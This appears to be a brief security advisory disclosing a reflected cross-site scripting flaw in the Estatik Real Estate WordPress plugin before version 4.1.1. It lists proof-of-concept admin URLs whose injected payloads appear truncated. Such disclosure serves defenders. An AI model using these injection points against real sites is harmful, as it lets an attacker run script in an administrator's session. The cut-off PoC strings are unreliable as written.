Estatik Real Estate Plugin < 4.1.1 - Reflected XSS

Description The plugin does not sanitise and escape various parameters and generated URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

PoC

Make a logged in admin open one of the URLs below (some require that at least one property exist in the plugin): https://example.com/wp-admin/edit.php?post_type=properties&“> https://example.com/wp-admin/edit.php?post_type=properties&amp;order;=”> (other affected parameter: orderby) https://example.com/wp-admin/admin.php?page=es_demo&">